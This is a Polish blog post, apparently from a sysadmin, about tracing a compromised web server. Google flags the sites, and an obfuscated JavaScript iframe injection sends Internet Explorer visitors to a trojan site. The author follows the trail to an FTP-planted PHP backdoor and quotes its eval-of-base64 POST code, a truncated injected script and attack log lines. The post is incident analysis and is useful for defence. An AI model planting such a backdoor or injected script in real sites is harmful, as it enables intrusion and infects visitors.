Od jakiegoś czasu trafiają do mnie (lub koło mnie) dziwne i — do tej pory mało wiarygodne zgłoszenia — na temat potencjalnej luki bezpieczeństwa na jednym z firmowych serwerów. Z początku sprawa nas trochę przestraszyła, ale bardzo szybko przycichła (a sprawa sama się „rozwiązała”). Niestety, z czasem takich incydentów było coraz więcej i trzeba było się tym na poważnie zająć.

Strona zgłoszona jako dokonująca ataków

Zaczęło się dziwnie i dość niewinnie. Dwie z naszych stron (leżące na jednym serwerze) zostały w Google zgłoszone jako „strona dokonująca ataków”. Strona alarmująca ten stan rzeczy była bardzo lakoniczna i nie tłumaczyła o co tak naprawdę chodzi. Dopiero po zalogowaniu do Webmaster Tools można było zobaczyć przykładowe adresy, które były rzekomo zainfekowane.

No właśnie — tylko teoretycznie — bo w praktyce w kodzie stron nie było niczego podejrzanego. Po kilkunastu minutach zastanawiania się, po prostu zgłosiłem prośbę ponownego przeskanowania strony, co nieoczekiwanie pomogło. Wszyscy zapomnieli o sprawie na jakiś czas.

Wczoraj (czyli jakiś tydzień później po pierwotnym zgłoszeniu), odezwał się do mnie Arek, mówiąc, że coś dziwnego dzieje się z ARBOblogiem. Po krótkiej rozmowie mogłem jedynie wzruszyć ramionami — u mnie znów wszystko było ok na wszystkich przeglądarkach, a sam kod nie zawierał niczego podejrzanego.

No i wreszcie dzisiaj, Marcin podesłał maila ze screenami — faktycznie coś się działo, ale znów — sprawdziłem, ale w kodzie nic nie było — w zasadzie był identyczny z tym, który miałem zapisany lokalnie. Poza tym były to statyczne pliki .html, więc nie było mowy o luce po stronie skryptu, etc. Dlatego uznałem, że raczej nic groźnego się nie dzieje. Z drugiej strony, chciałem wiedzieć, dlaczego niektóre przeglądarki tak "panikują" i trochę poszperałem.

Szukanie dziury w całym

Najpierw skojarzyłem całą sprawę z wcześniejszym zgłoszeniem Google o "stronie dokonującej ataków". Myślałem, że może to być w jakiś sposób powiązane, jakaś stara baza danych, czy coś. Swoją drogą ciekawe, że wpis w bazie Google zniknął sam, bez zmieniania niczego u nas. Zerknąłem jeszcze raz na raport Google safebrowsing… I zapaliła mi się pierwsza czerwona lampka.

Malicious software is hosted on 3 domain(s), including scan4mini.info/,

W połączeniu z tym, że na screenie była witrynka "scan4note.com"… Czyli jednak coś jest na rzeczy. Poza tym, skoro wchodząc na naszą stronę, ktoś wylądował na scan4note.com, to jakoś musiał się tam znaleźć.

Anywho, u mnie zjawisko nie występowało (chociaż podobno na kilku kompach w firmie, IE lądował na stronie z trojanem), więc podpiąłem sobie wtyczkę User-Agent Switcher pod Fx, przestawiłem się na "IE7 Vista" i śmigałem bez celu po kolejnych podstronach arbonetwork. Okazało się to nie takie głupie, bo za którymś razem moim oczom ukazała się biała, pusta strona.

Houston, we’ve got something

Na początku jeszcze nie wiedziałem, co się stało. Wydawało mi się, że to błąd serwera — zdarzały się od jakiegoś czasu, serwer się nie wyrabiał i zwracał białe strony. Niestety, jak poprzednio sprawdzałem, to nie widziałem żadnych „pięcsetek” w logach. Trzeba było jeszcze sprawdzić, czy to faktycznie czysta, zerobajtowa strona, czy ma może w sobie coś, co po prostu się nie wyświetla.

I to był pierwszy mądry krok, który wykonałem tego wieczora. Faktycznie, strona nie była pusta tylko zawierała jednolinijkowy kod Javascript, opakowany w jakąś magię, aby trudniej było go odczytać. Na szczęście nie było to żadne faktyczne zabezpieczenie — kod wstawiał kilka innych skryptów oraz niewidzialną ramkę na stronę. Ta, jak mniemam, przekierowywała użytkowników IE w miejsce robakami i trojanami płynące.

<!--fa1502e73a01cc72fb483c8f4f8036bf--><script language=javascript>
nebhovqgz="oZimPP%UwRntoZnl!U&HL!t!P";snqsxy="<sG63riG70tG20lG6 (...)
tlzbjoez(uivrkjiku);</script><!--fa1502e73a01cc72fb483c8f4f8036bf-->

Równocześnie pojawiło się u mnie w głowie małe „OMG” — to wcale nie była wina serwera, tylko te blank pages to był objaw jakiejś komputerowej infekcji. Po woli całość zaczynała się klarować.

Co faktycznie się dzieje?

Byłem już pewien, że faktycznie coś się dzieje, i dzieje się na linii moja przeglądarka – serwer. Teraz wystarczyło odtworzyć kroki, w których pokazuje się złośliwy kod i znaleźć przyczynę jego występowania. Niestety od razu pojawiły się problemy. Odtworzenie tego zachowania wcale nie było takie proste. Pomijając już sam fakt, że po ustawieniu wtyczki UserAgent Switcher na IE7 Vista mój Fx zaczął robić fikołki i odmówił współpracy. Brak jakiegoś porządnego proxy typu Fiddler również nie polepszał sytuacji.

Kilkanaście, może kilkadziesiąt minut później nadal byłem w polu. Nic nie przybliżało mnie do rozwiązania „zagadki”. Na szczęście moją uwagę zwrócił fakt, że brakowało niektórych komponentów strony (co Firebug pokazuje bardzo wyraźnie, czerwonym kolorkiem). Jednak po kliknięciu na bezpośredni link, ładowały się bez problemu. Kilka przeładowań dalej byłem pewny, że jest to kwestia losowa.

Jednak te objawy niczego mi nie tłumaczyły. Pozbierajmy wszystko do kupy.

• Atakuje tylko IE, ale nie zawsze
• Powoduje losowe „wysypywanie się” Apache’a
• Nie jest w żaden sposób związane z faktycznymi plikami na serwerze

Byłem coraz bardziej przekonany, że dzieje się to pomiędzy Apachem a przeglądarką, coś w stylu „man in the middle”. Zerknąłem w szczegóły połączenia z brakującym komponentem. Responce Headers listowały tylko dwie pozycje — dziwne. X-Powered-By: PHP 5.1.4… Zdecydowanie coś tu śmierdzi. Na serwerze od dawna nie ma takiej wersji PHP, co zresztą potwierdzają inne requesty, sygnowane wersją 5.2.x.

Zaczynamy Googlowanie

To najwyższy czas, żeby poszukać podobnego problemu u innych. Serio, zawsze się zastanawiam, jak się miała produktywność i skuteczność ludzi przed Googlem? Wyników mało, ale wystarczyło. Właściwie pomocny był jeden, bardzo długi wątek na forum fotograficznym (sic!).

Pierwsza dobra rada to użycie lsof i szukanie czegoś związanego z Apache/http. Pomimo, że output z lsof to chyba kilka tysięcy linijek, głównie powtarzającego się śmiecia, jakimś cudem udało mi się wyłowić, na pierwszy rzut oka niepozorną, linijkę, która informowała o tym, że apache ma otworzoną ścieżkę:

/var/www/htdocs/serwisy/example.com/httpdocs/fck/editor/filemanager/browser/default/connectors/php

Nie wiem, czemu to zwróciło moją uwagę, ale był to bardzo szczęśliwy strzał w dziesiątkę. W wymienionej ścieżce znalazłem kawałek kodu źródłowego C pod dziwną nazwą ud323. Data modyfikacji: 11/May/2009, 07:30. Jest więc czego szukać dalej

Po nitce do kłębka

Dzięki odrobinie szczęścia reszta była już tylko formalnością. Z logicznego punktu widzenia, ten plik znalazł się tam przez jakiegoś typu dziurę w jednej z usług. Pewnie w jakimś skrypcie PHP (a przynajmniej takie było moje pierwsze przypuszczenie). Przeszukałem więc access logi apache’a pod kątem daty modyfikacji tego pliku i znalazłem kilka ciekawych wpisów:

x.y.z.v - - [11/May/2009:07:30:43 +0200] "POST …/basexml.php HTTP/1.1" 200 6
x.y.z.v - - [11/May/2009:07:30:43 +0200] "POST …/basexml.php HTTP/1.1" 200 903

Zawartość pierwszych linijek basexml.php:

<php
/*d75372e…197fd1*/if(isset($_POST["p"])&&$_POST["p"]=="d75372e…197fd1")
{eval(base64_decode($_POST["c"]));exit;}/*d75372e…197fd1*/

Bardzo szykowny backdoor. No to jesteśmy w domu. Ostatnie pytanie — skąd?

Z pomocą przyszedł log proftpd. Trochę mało dokładny, ale w zasadzie wystarczył do upewnienia się jaką drogą kod dostał się do systemu. Dalsze przeglądanie logów pokazało jeszcze:

x.y.z.v - - [02/May/2009:19:08:13 +0200] "GET /favicon.htm HTTP/1.1" 200 12
// chyba „sprawdzenie”, czy upload działa
x.y.z.v - - [02/May/2009:19:10:57 +0200] "POST …/timag.php HTTP/1.1" 200 6
// test PHP
x.y.z.v - - [02/May/2009:19:10:58 +0200] "POST …/timag.php HTTP/1.1" 200 186
// odpalenie `eval`. ten plik zniknął z serwera
x.y.z.v - - [02/May/2009:19:11:07 +0200] "POST …/basexml.php HTTP/1.1" 200 6
x.y.z.v - - [02/May/2009:19:11:08 +0200] "POST …/basexml.php HTTP/1.1" 200 15
// odpalenie backdoora

Na koniec

Zabawa w ściganie wirusa była… Ekscytująca. Szczególnie, że się udało i to w dość szybkim czasie (od rozpoczęcia szukania). Kto zawinił? Jeszcze nie wiadomo, pewnie ktoś, kto nie potrawił przypilnować hasła do FTP. W jaki sposób program był w stanie podszyć sie pod Apache’a? Pewnie poprzez dziurę w core systemu (tzn pewnie w kernelu), ale tego już nie badałem.

Za czasów windowsa wyrzucanie robaków z systemu — jak już się trafił raz na kilka miesięcy jakiś — polegało na odpaleniu process explorera i ubiciu odpowiednich procesów (kiedyś nawet trafił się robak, który odpalał dwa, wzajemnie odnawiające się procesy, co wymagało odrobiny refleksu). Z kolei ten, z którym dzisiaj „walczyłem” był całkiem sprytny. Aż strach pomyśleć co będzie, jak włamywacze zaczną się na serio wysilać (no bo przecież ten nawet nie próbował zacierać za sobą śladów).

A zawinił jak zwykle człowiek i prawdopodobnie ignorowanie podstawowych zasad bezpieczeństwa. So keep ’em safe, i nie zapisujcie haseł na żółtych karteczkach!